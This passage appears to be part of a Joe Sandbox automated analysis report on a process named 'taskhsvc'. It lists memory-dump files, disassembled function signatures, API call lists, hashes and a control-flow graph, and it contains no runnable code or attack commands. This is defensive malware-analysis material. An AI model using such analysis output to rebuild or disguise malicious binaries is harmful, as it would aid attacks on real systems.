                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$D_set_callbackL_add_all_algorithms_noconfLeayLeay_versionO_num_locksO_set_locking_callbackR_load_crypto_stringsstrcmp
                                                                                                                          • String ID: @E$4
                                                                                                                          • API String ID: 694082125-3897025964
                                                                                                                          • Opcode ID: 399d10963becaf870cd147f7a3ca2a9e251bd67c8d63ae156f6f7c08d52ca794
                                                                                                                          • Instruction ID: 792d9f53c850a71bace73760df62d1e1b9cbf4fcfff843ea770b53a3f315cb70
                                                                                                                          • Opcode Fuzzy Hash: 399d10963becaf870cd147f7a3ca2a9e251bd67c8d63ae156f6f7c08d52ca794
                                                                                                                          • Instruction Fuzzy Hash: A4214BB0509705DFCB01EFA5E50625EBBF0EF84319F115819FCA4AB246D77499488BB3
                                                                                                                          Function 00D38B20 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: InfoSystem__stack_chk_failmemset
                                                                                                                          • String ID: $
                                                                                                                          • API String ID: 1069299118-3993045852
                                                                                                                          • Opcode ID: 36879b8b08769b445453088eda8b6e1913bc6ab443f277af218ff15ce590f941
                                                                                                                          • Instruction ID: 88a3f6db6317213f594698eb148e7155df491be721693fee04fd51febf3ba697
                                                                                                                          • Opcode Fuzzy Hash: 36879b8b08769b445453088eda8b6e1913bc6ab443f277af218ff15ce590f941
                                                                                                                          • Instruction Fuzzy Hash: 98F049B0A003499FCB00EFB9D88599EF7F5AF00360F108624F464E7290D734EC058B61
                                                                                                                          Function 00D5C797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D5C8C7
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00D5C7F0
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID: xC
                                                                                                                          • API String ID: 1190921433-4061282587
                                                                                                                          • Opcode ID: 3fe32ba8c4e87382587044a8b72c8ba46d7ed8381af79f2d2eb18f021cd567a0
                                                                                                                          • Instruction ID: 225384ac764f658fd81bf67d250e1d60021a8e1fec0714fcf4ee5ee6619f359f
                                                                                                                          • Opcode Fuzzy Hash: 3fe32ba8c4e87382587044a8b72c8ba46d7ed8381af79f2d2eb18f021cd567a0
                                                                                                                          • Instruction Fuzzy Hash: C031C6B09083019FDB00EF65D54575EBBF0BB84718F00D91DE8A8AB391D7B998498F66
                                                                                                                          Function 00D46206 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 228stringCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: strerror$abortfree$__stack_chk_fail_close_unlinkfclosestrcmp
                                                                                                                          • String ID: 5
                                                                                                                          • API String ID: 2086477376-54344023
                                                                                                                          • Opcode ID: afd281bf68395f97bb66869c6085719e9698959305c0cea7ca94f3953e6088f6
                                                                                                                          • Instruction ID: 518623e5a443d6aa9ea089e48e5d8d8fca1f6787da88f9953d95bc68dc702453
                                                                                                                          • Opcode Fuzzy Hash: afd281bf68395f97bb66869c6085719e9698959305c0cea7ca94f3953e6088f6
                                                                                                                          • Instruction Fuzzy Hash: E0A119B4A043068FDB00EF69C5456AEBBF0BF49314F049859E8A8EB351D778E945CF62
                                                                                                                          Function 00D46B1B Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 289stringCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 55 d46b1b-d46b57 56 d46b59-d46b85 call d36562 call d39764 abort 55->56 57 d46b8a-d46b8e 55->57 56->57 59 d46b97 57->59 60 d46b90-d46b95 57->60 62 d46b9c-d46bae call d359c4 59->62 60->62 66 d46bb3-d46bba 62->66 67 d46bc0-d46bdf 66->67 68 d46c49-d46c5f 66->68 80 d46be1-d46be9 67->80 81 d46bf2-d46c44 strerror call d33842 67->81 71 d46c61-d46cb6 _close call d33842 68->71 72 d46cbb-d46cca 68->72 90 d46f45-d46f4e 71->90 73 d46ccc-d46ccf 72->73 74 d46cfa-d46d39 call d4107e call d456c9 72->74 76 d46cd1-d46cd6 73->76 77 d46cd8-d46cf5 _close 73->77 96 d46dce-d46ddd 74->96 97 d46d3f-d46d97 strerror call d33842 74->97 76->74 76->77 77->90 80->81 82 d46beb 80->82 81->90 82->81 92 d46f55-d46f5e 90->92 93 d46f50 __stack_chk_fail 90->93 93->92 98 d46e54-d46e58 96->98 99 d46ddf-d46df4 strchr 96->99 119 d46d99-d46da4 free 97->119 120 d46dab-d46dc9 _close 97->120 100 d46e6d-d46e87 98->100 101 d46e5a-d46e68 98->101 99->98 103 d46df6-d46e06 99->103 105 d46f17-d46f26 _close 100->105 106 d46e8d-d46ee3 call d33842 100->106 101->105 107 d46e33-d46e51 call d42124 strlen 103->107 108 d46e08-d46e2e call d33842 103->108 111 d46f42 105->111 112 d46f28-d46f3d memcpy 105->112 122 d46ee5-d46ef0 free 106->122 123 d46ef7-d46f15 _close 106->123 107->98 108->107 111->90 112->111 119->120 120->90 122->123 123->90
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00D46B85
                                                                                                                          • strerror.MSVCRT ref: 00D46BFE
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D46F50
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • _close.MSVCRT ref: 00D46C73
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          • _close.MSVCRT ref: 00D46CDE
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
